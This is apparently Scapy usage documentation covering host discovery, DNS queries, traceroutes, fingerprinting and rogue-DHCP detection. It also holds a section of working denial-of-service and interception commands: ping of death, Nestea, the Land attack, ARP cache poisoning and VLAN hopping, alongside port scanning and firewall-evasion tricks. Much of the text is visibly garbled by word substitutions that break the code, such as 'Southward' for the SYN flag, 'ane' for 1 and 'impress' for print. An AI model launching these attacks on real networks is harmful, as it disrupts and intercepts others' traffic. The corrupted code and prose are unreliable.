                                >>>                                ans                .                summary                (                lambda                s                ,                r                :                r                .                sprintf                (                "%IP.src                % i                south alive"                )                )              

TCP Ping

In cases where ICMP repeat requests are blocked, we can still use various TCP Pings such as TCP SYN Ping beneath:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "192.168.ane.*"                )                /                TCP                (                dport                =                80                ,                flags                =                "Southward"                )                )              

Whatsoever response to our probes will indicate a live host. We can collect results with the following control:

                                >>>                                ans                .                summary                (                lambda                s                ,                r                :                r                .                sprintf                (                "%IP.src                % i                s alive"                )                )              

UDP Ping

If all else fails there is e'er UDP Ping which volition produce ICMP Port unreachable errors from live hosts. Here yous can selection any port which is nigh likely to exist airtight, such every bit port 0:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "192.168.*.i-x"                )                /                UDP                (                dport                =                0                )                )              

Once again, results can be collected with this command:

                                >>>                                ans                .                summary                (                lambda                southward                ,                r                :                r                .                sprintf                (                "%IP.src                % i                due south alive"                )                )              

DNS Requests

IPv4 (A) asking:

This will perform a DNS request looking for IPv4 addresses

                                >>>                                ans                =                sr1                (                IP                (                dst                =                "8.8.8.8"                )                /                UDP                (                sport                =                RandShort                (),                dport                =                53                )                /                DNS                (                rd                =                1                ,                qd                =                DNSQR                (                qname                =                "secdev.org"                ,                qtype                =                "A"                )))                >>>                                ans                .                an                .                rdata                '217.25.178.v'              

SOA request:

                                >>>                                ans                =                sr1                (                IP                (                dst                =                "viii.8.8.8"                )                /                UDP                (                sport                =                RandShort                (),                dport                =                53                )                /                DNS                (                rd                =                1                ,                qd                =                DNSQR                (                qname                =                "secdev.org"                ,                qtype                =                "SOA"                )))                >>>                                ans                .                ns                .                mname                b'dns.ovh.cyberspace.'                >>>                                ans                .                ns                .                rname                b'tech.ovh.internet.'              

MX asking:

                                >>>                                ans                =                sr1                (                IP                (                dst                =                "viii.8.8.8"                )                /                UDP                (                sport                =                RandShort                (),                dport                =                53                )                /                DNS                (                rd                =                1                ,                qd                =                DNSQR                (                qname                =                "google.com"                ,                qtype                =                "MX"                )))                >>>                                results                =                [                10                .                exchange                for                10                in                ans                .                an                .                iterpayloads                ()]                >>>                                results                [b'alt1.aspmx.l.google.com.',                                  b'alt4.aspmx.l.google.com.',                                  b'aspmx.l.google.com.',                                  b'alt2.aspmx.l.google.com.',                                  b'alt3.aspmx.50.google.com.']              

Classical attacks

Malformed packets:

                                >>>                                transport                (                IP                (                dst                =                "10.1.1.5"                ,                ihl                =                2                ,                version                =                iii                )                /                ICMP                ())              

Ping of death (Muuahahah):

                                >>>                                send                (                fragment                (                IP                (                dst                =                "10.0.0.5"                )                /                ICMP                ()                /                (                "X"                *                60000                ))                )              

Nestea assail:

                                >>>                                send                (                IP                (                dst                =                target                ,                id                =                42                ,                flags                =                "MF"                )                /                UDP                ()                /                (                "X"                *                ten                ))                >>>                                send                (                IP                (                dst                =                target                ,                id                =                42                ,                frag                =                48                )                /                (                "Ten"                *                116                ))                >>>                                send                (                IP                (                dst                =                target                ,                id                =                42                ,                flags                =                "MF"                )                /                UDP                ()                /                (                "X"                *                224                ))              

State attack (designed for Microsoft Windows):

                                >>>                                send                (                IP                (                src                =                target                ,                dst                =                target                )                /                TCP                (                sport                =                135                ,                dport                =                135                ))              

ARP enshroud poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping set on.

Classic ARP cache poisoning:

                                >>>                                send                (                Ether                (                dst                =                clientMAC                )                /                ARP                (                op                =                "who-has"                ,                psrc                =                gateway                ,                pdst                =                customer                ),                                  inter=RandNum(ten,forty), loop=ane )              

ARP cache poisoning with double 802.1q encapsulation:

                                >>>                                ship                (                Ether                (                dst                =                clientMAC                )                /                Dot1Q                (                vlan                =                ane                )                /                Dot1Q                (                vlan                =                2                )                                  /ARP(op="who-has", psrc=gateway, pdst=customer),                                  inter=RandNum(10,40), loop=one )              

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP fault:

                                >>>                                res                ,                unans                =                sr                (                IP                (                dst                =                "target"                )                                  /TCP(flags="S", dport=(1,1024)) )              

Possible consequence visualization: open ports

                                >>>                                res                .                nsummary                (                lfilter                =                lambda                southward                ,                r                :                (                r                .                haslayer                (                TCP                )                and                (                r                .                getlayer                (                TCP                )                .                flags                &                2                ))                )              

IKE Scanning

Nosotros effort to identify VPN concentrators past sending ISAKMP Security Association proposals and receiving the answers:

                                >>>                                res                ,                unans                =                sr                (                IP                (                dst                =                "192.168.1.*"                )                /                UDP                ()                                  /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")                                  /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())                                  )              

Visualizing the results in a list:

                                >>>                                res                .                nsummary                (                prn                =                lambda                due south                ,                r                :                r                .                src                ,                lfilter                =                lambda                south                ,                r                :                r                .                haslayer                (                ISAKMP                )                )              

Avant-garde traceroute

TCP SYN traceroute

                                    >>>                                    ans                  ,                  unans                  =                  sr                  (                  IP                  (                  dst                  =                  "4.ii.2.one"                  ,                  ttl                  =                  (                  one                  ,                  10                  ))                  /                  TCP                  (                  dport                  =                  53                  ,                  flags                  =                  "Southward"                  ))                

Results would be:

                                    >>>                                    ans                  .                  summary                  (                  lambda                  s                  ,                  r                  :                  r                  .                  sprintf                  (                  "%IP.src%                  \t                  {ICMP:%ICMP.type%}                  \t                  {TCP:%TCP.flags%}"                  ))                  192.168.1.1     time-exceeded                  68.86.ninety.162    time-exceeded                  4.79.43.134     fourth dimension-exceeded                  4.79.43.133     time-exceeded                  four.68.18.126     time-exceeded                  4.68.123.38     fourth dimension-exceeded                  4.ii.2.1         SA                

UDP traceroute

Tracerouting an UDP application like we exercise with TCP is not reliable, because in that location'due south no handshake. Nosotros need to requite an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

                                    >>>                                    res                  ,                  unans                  =                  sr                  (                  IP                  (                  dst                  =                  "target"                  ,                  ttl                  =                  (                  1                  ,                  xx                  ))                                      /UDP()/DNS(qd=DNSQR(qname="examination.com"))                

We can visualize the results every bit a list of routers:

                                    >>>                                    res                  .                  make_table                  (                  lambda                  south                  ,                  r                  :                  (                  s                  .                  dst                  ,                  southward                  .                  ttl                  ,                  r                  .                  src                  ))                

DNS traceroute

We can perform a DNS traceroute by specifying a complete package in l4 parameter of traceroute() function:

                                    >>>                                    ans                  ,                  unans                  =                  traceroute                  (                  "four.2.ii.1"                  ,                  l4                  =                  UDP                  (                  sport                  =                  RandShort                  ())                  /                  DNS                  (                  qd                  =                  DNSQR                  (                  qname                  =                  "thesprawl.org"                  )))                  Begin emission:                  ..*....******...******.***...****Finished to transport xxx packets.                  *****...***...............................                  Received 75 packets, got 28 answers, remaining 2 packets                                      iv.2.2.ane:udp53                  i  192.168.1.1     xi                  4  68.86.90.162    11                  5  4.79.43.134     11                  six  iv.79.43.133     11                  7  4.68.18.62      eleven                  viii  four.68.123.6      11                  ix  4.2.2.ane                  ...                

Etherleaking

                                >>>                                sr1                (                IP                (                dst                =                "172.sixteen.1.232"                )                /                ICMP                ())                <IP src=172.xvi.ane.232 proto=1 [...] |<ICMP code=0 type=0 [...]|                <Padding load='0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e' |>>>              

ICMP leaking

This was a Linux 2.0 bug:

                                >>>                                sr1                (                IP                (                dst                =                "172.xvi.1.1"                ,                options                =                "                \x02                "                )                /                ICMP                ())                <IP src=172.sixteen.ane.1 [...] |<ICMP code=0 type=12 [...] |                <IPerror src=172.16.1.24 options='\x02\x00\x00\x00' [...] |                <ICMPerror lawmaking=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |                <Padding load='\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca' |>>>>>              

VLAN hopping

In very specific conditions, a double 802.1q encapsulation volition make a packet jump to some other VLAN:

                                >>>                                sendp                (                Ether                ()                /                Dot1Q                (                vlan                =                2                )                /                Dot1Q                (                vlan                =                7                )                /                IP                (                dst                =                target                )                /                ICMP                ())              

Wireless sniffing

The following command will display information similar to virtually wireless sniffers:

                                >>>                                sniff                (                iface                =                "ath0"                ,                prn                =                lambda                10                :                x                .                sprintf                (                "{Dot11Beacon:%Dot11.addr3%                \t                %Dot11Beacon.info%                \t                %PrismHeader.channel%                \t                %Dot11Beacon.cap%}"                ))              

Annotation

On Windows and OSX, you volition need to also use monitor=True, which only works on scapy>2.four.0 (2.four.0dev+). This might require yous to manually toggle monitor way.

The above control volition produce output similar to the one below:

                                00                :                00                :                00                :                01                :                02                :                03                netgear                6                Fifty                ESS                +                privacy                +                PBCC                xi                :                22                :                33                :                44                :                55                :                66                wireless_100                6                L                curt                -                slot                +                ESS                +                privacy                44                :                55                :                66                :                00                :                xi                :                22                linksys                half-dozen                50                short                -                slot                +                ESS                +                privacy                12                :                34                :                56                :                78                :                ninety                :                12                NETGEAR                6                L                brusk                -                slot                +                ESS                +                privacy                +                short                -                preamble              

Recipes

Simplistic ARP Monitor

This program uses the sniff() callback (parameter prn). The store parameter is set to 0 so that the sniff() function will not store annihilation (as it would practise otherwise) and thus can run forever. The filter parameter is used for better performances on loftier load : the filter is applied inside the kernel and Scapy will only come across ARP traffic.

                                #! /usr/bin/env python                from                scapy.all                import                *                def                arp_monitor_callback                (                pkt                ):                if                ARP                in                pkt                and                pkt                [                ARP                ]                .                op                in                (                1                ,                2                ):                #who-has or is-at                return                pkt                .                sprintf                (                "%ARP.hwsrc                % %                ARP.psrc%"                )                sniff                (                prn                =                arp_monitor_callback                ,                filter                =                "arp"                ,                store                =                0                )              

Identifying rogue DHCP servers on your LAN

Problem

You suspect that someone has installed an additional, unauthorized DHCP server on your LAN – either unintentionally or maliciously. Thus y'all want to check for whatever active DHCP servers and identify their IP and MAC addresses.

Solution

Utilize Scapy to transport a DHCP discover request and analyze the replies:

                                    >>>                                    conf                  .                  checkIPaddr                  =                  Imitation                  >>>                                    fam                  ,                  hw                  =                  get_if_raw_hwaddr                  (                  conf                  .                  iface                  )                  >>>                                    dhcp_discover                  =                  Ether                  (                  dst                  =                  "ff:ff:ff:ff:ff:ff"                  )                  /                  IP                  (                  src                  =                  "0.0.0.0"                  ,                  dst                  =                  "255.255.255.255"                  )                  /                  UDP                  (                  sport                  =                  68                  ,                  dport                  =                  67                  )                  /                  BOOTP                  (                  chaddr                  =                  hw                  )                  /                  DHCP                  (                  options                  =                  [(                  "message-type"                  ,                  "discover"                  ),                  "end"                  ])                  >>>                                    ans                  ,                  unans                  =                  srp                  (                  dhcp_discover                  ,                  multi                  =                  True                  )                  # Press CTRL-C after several seconds                  Begin emission:                  Finished to send 1 packets.                  .*...*..                  Received 8 packets, got 2 answers, remaining 0 packets                

In this example nosotros got 2 replies, so there were two active DHCP servers on the test network:

                                    >>>                                    ans                  .                  summary                  ()                  Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.ane.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP                  Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP                

We are only interested in the MAC and IP addresses of the replies:

                                    >>>                                    for                  p                  in                  ans                  :                  impress                  p                  [                  ane                  ][                  Ether                  ]                  .                  src                  ,                  p                  [                  1                  ][                  IP                  ]                  .                  src                  ...                  00:de:ad:be:ef:00 192.168.1.1                  00:xi:11:22:22:33 192.168.1.11                

Discussion

We specify multi=True to make Scapy wait for more answer packets after the beginning response is received. This is besides the reason why we can't utilize the more user-friendly dhcp_request() function and have to construct the DHCP packet manually: dhcp_request() uses srp1() for sending and receiving and thus would immediately return after the first reply packet.

Moreover, Scapy unremarkably makes sure that replies come from the aforementioned IP accost the stimulus was sent to. But our DHCP packet is sent to the IP broadcast accost (255.255.255.255) and any reply parcel volition accept the IP address of the replying DHCP server as its source IP address (east.k. 192.168.one.i). Considering these IP addresses don't match, we have to disable Scapy'south check with conf.checkIPaddr = False before sending the stimulus.

Encounter also

http://en.wikipedia.org/wiki/Rogue_DHCP

Firewalking

TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "172.16.iv.27"                ,                ttl                =                sixteen                )                /                TCP                (                dport                =                (                1                ,                1024                )))                >>>                                for                southward                ,                r                in                ans                :                                  if r.haslayer(ICMP) and r.payload.type == xi:                                  print s.dport              

Discover subnets on a multi-NIC firewall only his ain NIC's IP are reachable with this TTL:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "172.16.5/24"                ,                ttl                =                xv                )                /                TCP                ())                >>>                                for                i                in                unans                :                print                i                .                dst              

TCP Timestamp Filtering

Problem

Many firewalls include a rule to drop TCP packets that do non accept TCP Timestamp option set which is a common occurrence in popular port scanners.

Solution

To allow Scapy to reach target destination additional options must be used:

                                    >>>                                    sr1                  (                  IP                  (                  dst                  =                  "72.14.207.99"                  )                  /                  TCP                  (                  dport                  =                  80                  ,                  flags                  =                  "S"                  ,                  options                  =                  [(                  'Timestamp'                  ,(                  0                  ,                  0                  ))]))                

Viewing packets with Wireshark

Problem

Y'all have generated or sniffed some packets with Scapy.

Now yous want to view them with Wireshark, because of its advanced packet dissection capabilities.

Solution

That'south what wireshark() is for!

                                    # First, generate some packets...                  packets                  =                  IP                  (                  src                  =                  "192.0.2.9"                  ,                  dst                  =                  Net                  (                  "192.0.2.10/30"                  ))                  /                  ICMP                  ()                  # Show them with Wireshark                  wireshark                  (                  packets                  )                

Wireshark will start in the groundwork, and evidence your packets.

Discussion

wireshark ( pktlist , ... )

With a Packet or PacketList , serialises your packets, and streams this into Wireshark via stdin as if it were a capture device.

Because this uses pcap format to serialise the packets, there are some limitations:

  • Packets must be all of the same linktype .

    For instance, you can't mix Ether and IP at the top layer.

  • Packets must have an assigned (and supported) DLT_* constant for the linktype . An unsupported linktype is replaced with DLT_EN10MB (Ethernet), and will display incorrectly in Wireshark.

    For example, tin can't laissez passer a bare ICMP packet, but you can send it as a payload of an IP or IPv6 packet.

With a filename (passed every bit a string), this loads the given file in Wireshark. This needs to exist in a format that Wireshark supports.

Y'all tin tell Scapy where to detect the Wireshark executable by irresolute the conf.prog.wireshark configuration setting.

This accepts the same extra parameters as tcpdump() .

See too

WiresharkSink

A PipeTools sink for live-streaming packets.

wireshark(1)

Additional clarification of Wireshark's functionality, and its command-line arguments.

Wireshark'south website

For upward-to-date releases of Wireshark.

Wireshark Protocol Reference

Contains detailed data about Wireshark's protocol dissectors, and reference documentation for various network protocols.

Operation of Scapy

Problem

Scapy dissects slowly and/or misses packets under heavy loads.

Note

Please bare in heed that Scapy is not designed to be blazing fast, but rather hands hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance price. Of course, we still do our best to make Scapy as fast as possible, just information technology's not the absolute main goal.

Solution

At that place are quite a few means of speeding up scapy'due south dissection. Y'all tin use all of them

  • Using a BPF filter: The OS is faster than Scapy. If you lot make the OS filter the packets instead of Scapy, it volition merely handle a fraction of the load. Utilize the filter= argument of the sniff() function.

  • By disabling layers you don't apply: If you are not using some layers, why dissect them? Y'all can permit Scapy know which layers to dissect and all the others volition simply be parsed as Raw . This comes with a cracking performance boost just requires you lot to know what you're doing.

                                    # Enable filtering: only Ether, IP and ICMP will be dissected                  conf                  .                  layers                  .                  filter                  ([                  Ether                  ,                  IP                  ,                  ICMP                  ])                  # Disable filtering: restore everything to normal                  conf                  .                  layers                  .                  unfilter                  ()                

Os Fingerprinting

ISN

Scapy can exist used to clarify ISN (Initial Sequence Number) increments to peradventure discover vulnerable systems. First nosotros will collect target responses by sending a number of SYN probes in a loop:

                                    >>>                                    ans                  ,                  unans                  =                  srloop                  (                  IP                  (                  dst                  =                  "192.168.ane.ane"                  )                  /                  TCP                  (                  dport                  =                  80                  ,                  flags                  =                  "South"                  ))                

One time we obtain a reasonable number of responses nosotros can start analyzing collected information with something like this:

                                    >>>                                    temp                  =                  0                  >>>                                    for                  southward                  ,                  r                  in                  ans                  :                  ...                                    temp                  =                  r                  [                  TCP                  ]                  .                  seq                  -                  temp                  ...                                    print                  (                  "                  %d                  \t                  +                  %d                  "                  %                  (                  r                  [                  TCP                  ]                  .                  seq                  ,                  temp                  ))                  ...                  4278709328      +4275758673                  4279655607      +3896934                  4280642461      +4276745527                  4281648240      +4902713                  4282645099      +4277742386                  4283643696      +5901310                

nmap_fp

Nmap fingerprinting (the old "1st generation" ane that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 y'all take to load an extension module outset:

If you lot have Nmap installed y'all tin can use it's active bone fingerprinting database with Scapy. Brand certain that version 1 of signature database is located in the path specified by:

Then you tin can utilise the nmap_fp() function which implements aforementioned probes as in Nmap'south Bone Detection engine:

                                    >>>                                    nmap_fp                  (                  "192.168.1.1"                  ,                  oport                  =                  443                  ,                  cport                  =                  ane                  )                  Begin emission:                  .****..**Finished to ship 8 packets.                  *................................................                  Received 58 packets, got vii answers, remaining 1 packets                  (1.0, ['Linux 2.4.0 - two.5.20', 'Linux 2.4.xix w/grsecurity patch',                  'Linux 2.4.20 - ii.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86)                  w/grsecurity.org and HZ=1000 patches', 'Linux ii.iv.7 - 2.6.11'])                

p0f

If you have p0f installed on your arrangement, y'all can use it to guess Os name and version correct from Scapy (only SYN database is used). Get-go brand sure that p0f database exists in the path specified by:

For case to guess Bone from a single captured packet:

                                    >>>                                    sniff                  (                  prn                  =                  prnp0f                  )                  192.168.1.100:54716 - Linux 2.6 (newer, 1) (upwards: 24 hrs)                                      -> 74.125.19.104:www (distance 0)                  <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>